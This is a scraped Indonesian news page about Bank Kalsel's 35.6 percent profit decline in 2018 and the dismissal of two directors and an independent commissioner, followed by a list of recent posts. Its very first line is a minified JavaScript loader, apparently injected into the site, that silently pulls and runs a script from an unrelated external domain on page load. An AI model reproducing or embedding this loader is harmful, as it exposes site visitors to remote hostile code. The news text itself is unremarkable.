(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Keuntungan Bank Kalsel Menurun 35,6 %, Dua Direksi dan Satu Komisaris Dicopot


BANJARMASIN, Berdalih sebagai bentuk efesiensi dan penyegaran dalam organisasi, Bank Kalsel melalui Rapat Umum Pemegang Saham Luar Biasa (RUPS-LB) melakukan pencopotan dua direksi dan satu komisaris.

Adapun mereka yang dicopot adalah Direktur Bisnis Rudi Syahriansyah, Direktur Operasional Gusti Agus Permana dan Komisaris Independen H Zulfadli Gazali.

Terkait pencopotan tersebut, Direktur Utama Bank Kalsel Agus Syabaruddin mengaku pencopotan jabatan merupakan sebuah hal biasa dalam sebuah struktur organisasi perusahaan, utamanya pada bisnis perbankan.

“Para pemegang saham pasti punya alasan yang logis sebelum memutuskannya. Terkait keputusan ini kami juga sudah melakukan penyesuaian agar kinerja Bank Kalsel tidak terganggu dengan adanya pengurangan dua direksi dan satu komisaris,” ungkapnya, Kamis (28/2/2019).

Memang diakuinya pada tahun 2018 lalu dibandingkan dengan tahun 2017, kinerja Bank Kalsel tidak terlalu menggembirakan. Hal ini bisa dilihat dari keuntungan bisnis yang menurun sekitar 35,6 persen, kredit mikro yang menurun sebesar 17 persen dan kredit konsumtif yang turun hingga Rp 23,4 miliar.

“Karena itulah wajar jika pemegang saham melalui RUPS-LB melakukan evaluasi terhadap kinerja tersebut dan mengambil langkah efesiensi dan penyegaran di jajaran direksi hingga komisaris,” tambahnya.

Untuk tahun 2019 sendiri, Bank Kalsel mengaku akan coba memperbaiki kinerja bisnisnya dengan terus berupaya melakukan berbagai terobosan melalui penggarapan lini bisnis baru dan meningkatkan kompetensi dengan perbaikan sumber daya manusia dan perangkat teknologi perbankan.

Walau begitu, Bank Kalsel juga menyadari tantangan bisnis di tahun 2019 yang akan dihadapi, baik itu likuiditas yang ketat, maraknya digital banking hingga turbulensi ekonomi global dan gangguan ekonomi nasional dan regional.

“Walau berat kami tetap optimis bisa tetap bisa melaluinya agar mampu memberikan kinerja terbaik bagi daerah,” pungkasnya. (arief)

Reporter: Arief
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

3 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

6 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

12 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

12 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

15 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

18 jam ago

This website uses cookies.